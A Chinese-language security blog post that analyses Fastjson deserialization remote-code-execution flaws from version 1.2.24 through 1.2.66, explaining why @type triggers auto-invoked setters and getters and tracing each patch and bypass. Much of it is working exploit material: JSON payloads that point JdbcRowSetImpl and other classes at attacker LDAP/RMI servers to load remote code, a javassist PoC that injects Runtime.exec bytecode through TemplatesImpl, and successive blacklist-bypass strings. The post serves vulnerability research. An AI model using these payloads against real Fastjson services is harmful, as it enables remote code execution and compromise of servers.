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@Y4er

Fastjson 反序列化

Last updated at Posted at 2020-04-28

前言

fastjson是阿里巴巴的一个json库，频频爆RCE。本文分析fastjson至今的一些RCE漏洞。

fastjson的使用

引入库

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

创建一个实体类User

package org.chabug.fastjson.model;

public class User {
    private int id;
    private int age;
    private String name;

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", age=" + age +
                ", name='" + name + '\'' +
                '}';
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

使用fastjson解析为字符串、从字符串解析为对象：

package org.chabug.fastjson.run;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.chabug.fastjson.model.User;

import java.util.HashMap;
import java.util.Map;

public class JSONTest {
    public static void main(String[] args) {
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1", "One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);
        System.out.println(mapJson);

        System.out.println("--------------------------");


        User user = new User();
        user.setId(1);
        user.setAge(17);
        user.setName("张三");

        // 对象转字符串
        String s1 = JSON.toJSONString(user);
        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
        System.out.println(s2);

        System.out.println("--------------------------");

        // 字符串转对象
        User o1 = (User) JSON.parse(s2);
        System.out.println("o1:"+o1);
        System.out.println(o1.getClass().getName());

        JSONObject o2 = JSON.parseObject(s2);
        System.out.println("o2:"+o2);
        System.out.println(o2.getClass().getName());

        Object o3 = JSON.parseObject(s2, Object.class);
        System.out.println("o3:"+o3);
        System.out.println(o3.getClass().getName());

    }
}

运行结果

{"key1":"One","key2":"Two"}
--------------------------
{"age":17,"id":1,"name":"张三"}
{"@type":"org.chabug.fastjson.model.User","age":17,"id":1,"name":"张三"}
--------------------------
o1:User{id=1, age=17, name='张三'}
org.chabug.fastjson.model.User
o2:{"name":"张三","id":1,"age":17}
com.alibaba.fastjson.JSONObject
o3:User{id=1, age=17, name='张三'}
org.chabug.fastjson.model.User

fastjson通过JSON.toJSONString()将对象转为字符串(序列化)，当使用SerializerFeature.WriteClassName参数时会将对象的类名写入@type字段中，在重新转回对象时会根据@type来指定类，进而调用该类的set、get方法。因为这个特性，我们可以指定@type为任意存在问题的类，造成一些问题。

在字符串转对象的过程中(反序列化)，主要使用JSON.parse()和JSON.parseObject()两个方法，两者区别在于parse()会返回实际类型(User)的对象，而parseObject()在不指定class时返回的是JSONObject，指定class才会返回实际类型(User)的对象，也就是JSON.parseObject(s2)和JSON.parseObject(s2, Object.class)的区别，这里也可以指定为User.class。

我们再来看@type的问题，我定义了一个Evil类，在其set方法中可以执行命令

package org.chabug.fastjson.model;

import java.io.IOException;

public class Evil {
    private String cmd;

    public String getCmd() {
        System.out.println("getCmd()");
        return cmd;
    }

    public void setCmd(String cmd) {
        System.out.println("setCmd()");
        this.cmd = cmd;
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public Evil() {
        System.out.println("Evil()");
    }
}

用springboot起了一个web
image.png

成功弹出了计算器
image.png

我们通过控制@type来实现反序列化恶意Evil类，从而RCE，很简单只是举个例子说明@type的使用。

那么到这里还有一个问题，为什么写在setCmd方法会自动调用呢？

setter、getter、is自动调用

对应的Evil
image.png

写一个test测试下
image.png

可以看到parseObject(evil)的get、set、构造方法都自动调用了，另外两种解析方式只调用了set、构造方法。

在前文中我们知道parseObject(evil)返回的是JSONObject对象，跟进其方法发现也是使用parse解析的，但是多了一个(JSONObject)toJSON(obj)
image.png
这个方法调用的get，堆栈如下

getCmd:11, Evil (org.chabug.fastjson.model)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:105, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:13, Test (org.chabug.fastjson.run)

比较简单，不详细分析，大致就是通过反射调用getter方法获取字段的值存入hashmap。那么setter在哪调用的？

在com.alibaba.fastjson.util.JavaBeanInfo#build中

image.png

在通过@type拿到类之后，通过反射拿到该类所有的方法存入methods，接下来遍历methods进而获取get、set方法，如上图。总结set方法自动调用的条件为：

  1. 方法名长度大于4
  2. 非静态方法
  3. 返回值为void或当前类
  4. 方法名以set开头
  5. 参数个数为1

当满足条件之后会从方法名截取属性名，截取时会判断_，如果是set_name会截取为name属性，具体逻辑如下：
image.png

当截取完但是找不到这个属性
image.png

会判断传入的第一个参数类型是否为布尔型，是的话就在截取完的变量前加上is，截取propertyName的第一个字符转大写和第二个字符，并且然后重新尝试获取属性字段。

比如：public boolean setBoy(boolean t) 会寻找isBoy字段。

set的整个判断就是：如果有setCmd()会绑定cmd属性，如果该类没有cmd属性会绑定isCmd属性。

get的判断
image.png
总结下就是：

  1. 方法名长度大于等于4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 无传入参数
  5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

当程序绑定了对应的字段之后，如果传入json字符串的键值中存在这个值，就会去调用执行对应的setter、构造方法。

小结：

  1. parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
  2. parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
  3. parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

fastjson漏洞历程

fastjson漏洞经历了多次绕过及修复，甚至出现了加密黑名单防止安全研究= =

1.2.22-1.2.24

在小于fastjson1.2.22-1.2.24版本中有两条利用链。

  1. JNDI com.sun.rowset.JdbcRowSetImpl
  2. JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

JNDI利用链

JNDI传输过程中使用的就是序列化和反序列化，所以通杀三种解析方式

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

原理就是setter的自动调用

package org.chabug.fastjson.run;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class Test {
    public static void main(String[] args) {


        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#Calc");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

image.png

setDataSourceName()和setAutoCommit()满足setter自动调用的条件，当我们传入对应json键值对时就会触发setter，进而触发jndi链接。payload如下

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

TemplatesImpl利用链

条件苛刻

  1. 服务端使用parseObject()时，必须使用如下格式才能触发漏洞：JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
  2. 服务端使用parse()时，需要JSON.parse(text1,Feature.SupportNonPublicField)

poc

package org.chabug.fastjson.run;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.tomcat.util.codec.binary.Base64;

public class JDK7u21 {
    // 参考https://y4er.com/post/ysoserial-commonscollections-2/
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(test.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Y4er" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

        return cc.toBytecode();
    }


    //main函数调用以下poc而已
    public static void main(String args[]) {
        try {
            byte[] evilCode = getevilbyte();
            String evilCode_base64 = Base64.encodeBase64String(evilCode);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
            System.out.println(text1);
            ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static class test {

    }
}

看完poc应该考虑的几个问题：

  1. 为什么parseObject需要Feature.SupportNonPublicField？
  2. 为什么需要_outputProperties属性？
  3. _bytecodes为什么需要base64编码？
  4. _tfactory为什么为{}？

问题1：Feature.SupportNonPublicField
在fastjson中默认并不能序列化private属性，而我们使用的TemplatesImpl利用链的多个属性都是private，所以在反序列化的时候需要加上Feature.SupportNonPublicField，这也成了这个利用链的最大限制。
image.png

问题2：为什么需要_outputProperties属性
答案是为了触发getOutputProperties()。再问：如果getOutputProperties()是_outputProperties属性的getter方法那不符合规则啊！下面就来分析下：

getOutputProperties()方法其对应的属性应该为public的outputProperties，其实你删了_也可以，_并不是必须的，那么fastjson到底是怎么处理的呢？
image.png

在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField中解析每一个字段时，会进行一次灵活匹配this.smartMatch()
image.png
在进行is关键字判断之后，替换掉-和_再匹配getter和setter
image.png
所以就会调用getOutputProperties()
image.png
而其返回值又是Properties，所以可以完美调用getOutputProperties()，进而触发newTransformer()->getTransletInstance()->newInstance()，导致RCE。

问题3：_bytecodes为什么需要base64编码

在解析byte[]的时候进行了base64解码
image.png

跟进
image.png

问题4：_tfactory为什么为{}
在fastjson-1.2.23.jar!/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class:579解析字段值时，会自动判断传入键值是否为空，如果为空会根据类属性定义的类型自动创建实例
image.png

到这算是把fastjson写的差不多，剩下的就是无尽的bypass。

1.2.25-1.2.41

在1.2.25版本中，重新使用jdbc利用链复现报错
image.png

使用idea对比两个jar包发现改为了checkAutoType()方法
image.png

跟进checkAutoType()发现
image.png

增加了类前缀黑名单白名单判断，在1.2.25版本中AutoTypeSupport默认false，需要显示关闭白名单

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

在关闭了AutoTypeSupport之后仍然需要绕过黑名单，以startsWith判断
image.png
但是在跟了TypeUtils.loadClass()之后会发现
image.png
如果classname以[开头loadClass会自动去掉，还有就是开头L结尾;的也会去掉，那么我们有了新的绕过方法：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

7u21的链同理，在1.2.25之后所谓的绕过都是在显示关闭白名单的条件下绕过的。

1.2.42绕过

在1.2.41中L;的方法测试可以，1.2.42中不行
image.png

对比jar发现ParserConfig中黑名单改为hash
image.png
classname截取L;
image.png

通过计算hash让我们不知道黑名单是什么类，但是加密方式在com.alibaba.fastjson.util.TypeUtils#fnv1a_64是有的
image.png
通过变量常用的jar、类、字符串碰撞hash得到黑名单，有一个项目已经做好了：https://github.com/LeadroyaL/fastjson-blacklist

绕过也比较简单，com.alibaba.fastjson.parser.ParserConfig#checkAutoType截取一次，com.alibaba.fastjson.util.TypeUtils#loadClass截取一次，那么双写就可以绕过

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

1.2.43

判断了是否以LL开头，直接抛出异常
image.png

但是[还可以

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

1.2.44

修复之前[的问题，虽然之前[是不能用的

1.2.45

增加了黑名单

//需要有第三方组件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47 通杀

通杀autotype和黑名单

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

在TypeUtils的static初始化时调用com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings中会将常用的类通过loadclass()放入mapping中

    private static void addBaseClassMappings() {
        mappings.put("byte", Byte.TYPE);
        mappings.put("short", Short.TYPE);
        mappings.put("int", Integer.TYPE);
        mappings.put("long", Long.TYPE);
        mappings.put("float", Float.TYPE);
        mappings.put("double", Double.TYPE);
        mappings.put("boolean", Boolean.TYPE);
        mappings.put("char", Character.TYPE);
        mappings.put("[byte", byte[].class);
        mappings.put("[short", short[].class);
        mappings.put("[int", int[].class);
        mappings.put("[long", long[].class);
        mappings.put("[float", float[].class);
        mappings.put("[double", double[].class);
        mappings.put("[boolean", boolean[].class);
        mappings.put("[char", char[].class);
        mappings.put("[B", byte[].class);
        mappings.put("[S", short[].class);
        mappings.put("[I", int[].class);
        mappings.put("[J", long[].class);
        mappings.put("[F", float[].class);
        mappings.put("[D", double[].class);
        mappings.put("[C", char[].class);
        mappings.put("[Z", boolean[].class);
        Class<?>[] classes = new Class[]{Object.class, Cloneable.class, loadClass("java.lang.AutoCloseable"), Exception.class, RuntimeException.class, IllegalAccessError.class, IllegalAccessException.class, IllegalArgumentException.class, IllegalMonitorStateException.class, IllegalStateException.class, IllegalThreadStateException.class, IndexOutOfBoundsException.class, InstantiationError.class, InstantiationException.class, InternalError.class, InterruptedException.class, LinkageError.class, NegativeArraySizeException.class, NoClassDefFoundError.class, NoSuchFieldError.class, NoSuchFieldException.class, NoSuchMethodError.class, NoSuchMethodException.class, NullPointerException.class, NumberFormatException.class, OutOfMemoryError.class, SecurityException.class, StackOverflowError.class, StringIndexOutOfBoundsException.class, TypeNotPresentException.class, VerifyError.class, StackTraceElement.class, HashMap.class, Hashtable.class, TreeMap.class, IdentityHashMap.class, WeakHashMap.class, LinkedHashMap.class, HashSet.class, LinkedHashSet.class, TreeSet.class, TimeUnit.class, ConcurrentHashMap.class, loadClass("java.util.concurrent.ConcurrentSkipListMap"), loadClass("java.util.concurrent.ConcurrentSkipListSet"), AtomicInteger.class, AtomicLong.class, Collections.EMPTY_MAP.getClass(), BitSet.class, Calendar.class, Date.class, Locale.class, UUID.class, Time.class, java.sql.Date.class, Timestamp.class, SimpleDateFormat.class, JSONObject.class};
        Class[] var1 = classes;
        int var2 = classes.length;

        int var3;
        for(var3 = 0; var3 < var2; ++var3) {
            Class clazz = var1[var3];
            if (clazz != null) {
                mappings.put(clazz.getName(), clazz);
            }
        }

        String[] awt = new String[]{"java.awt.Rectangle", "java.awt.Point", "java.awt.Font", "java.awt.Color"};
        String[] spring = awt;
        var3 = awt.length;

        int var11;
        for(var11 = 0; var11 < var3; ++var11) {
            String className = spring[var11];
            Class<?> clazz = loadClass(className);
            if (clazz == null) {
                break;
            }

            mappings.put(clazz.getName(), clazz);
        }

        spring = new String[]{"org.springframework.util.LinkedMultiValueMap", "org.springframework.util.LinkedCaseInsensitiveMap", "org.springframework.remoting.support.RemoteInvocation", "org.springframework.remoting.support.RemoteInvocationResult", "org.springframework.security.web.savedrequest.DefaultSavedRequest", "org.springframework.security.web.savedrequest.SavedCookie", "org.springframework.security.web.csrf.DefaultCsrfToken", "org.springframework.security.web.authentication.WebAuthenticationDetails", "org.springframework.security.core.context.SecurityContextImpl", "org.springframework.security.authentication.UsernamePasswordAuthenticationToken", "org.springframework.security.core.authority.SimpleGrantedAuthority", "org.springframework.security.core.userdetails.User"};
        String[] var10 = spring;
        var11 = spring.length;

        for(int var12 = 0; var12 < var11; ++var12) {
            String className = var10[var12];
            Class<?> clazz = loadClass(className);
            if (clazz == null) {
                break;
            }

            mappings.put(clazz.getName(), clazz);
        }

    }

然后开始解析json，当传入type时进入checkAutoType()检查类
image.png

在调用解析时我们没有传入预期的反序列化对象的对应类名时，会从mapping中或者deserializers.findClass()寻找
image.png
当找到类之后会直接return class，不会再进行autotype和黑名单校验，而在deserializers中有java.lang.Class
image.png

继续解析
image.png

获取到java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec，然后开始deserializer.deserialze()反序列化
image.png
parser.parse()获取val的值
image.png
赋值给strVal，然后经过一系列判断之后
image.png
传入TypeUtils.loadClass()

在loadclass中将strVal加入到mapping中
image.png

此时mapping中有了jdbc的类名，而Mappings是ConcurrentMap类的，顾名思义就是在当前连接会话生效。所以我们需要在一次连接会话同时传入两个json键值对时，此次连接未断开时，继续解析第二个json键值对，然后和上文中提到的一样，在校验autotype和黑名单之前就已经return了clazz，变相绕过了黑名单，利用JNDI注入RCE。

1.2.48

黑名单多了两条，MiscCodec中将默认传入的cache变为false，checkAutoType()调整了逻辑

1.2.62

黑名单绕过

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

1.2.66

也是黑名单绕过

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

总结

从@type属性牵扯出来一系列的RCE，整个过程分析下来还是很有收获，不停的bypass才是反序列化的最大乐趣。

参考链接

  1. https://www.anquanke.com/post/id/181874
  2. https://xz.aliyun.com/t/7027
  3. Fastjson反序列化漏洞 1.2.24-1.2.48
  4. https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ
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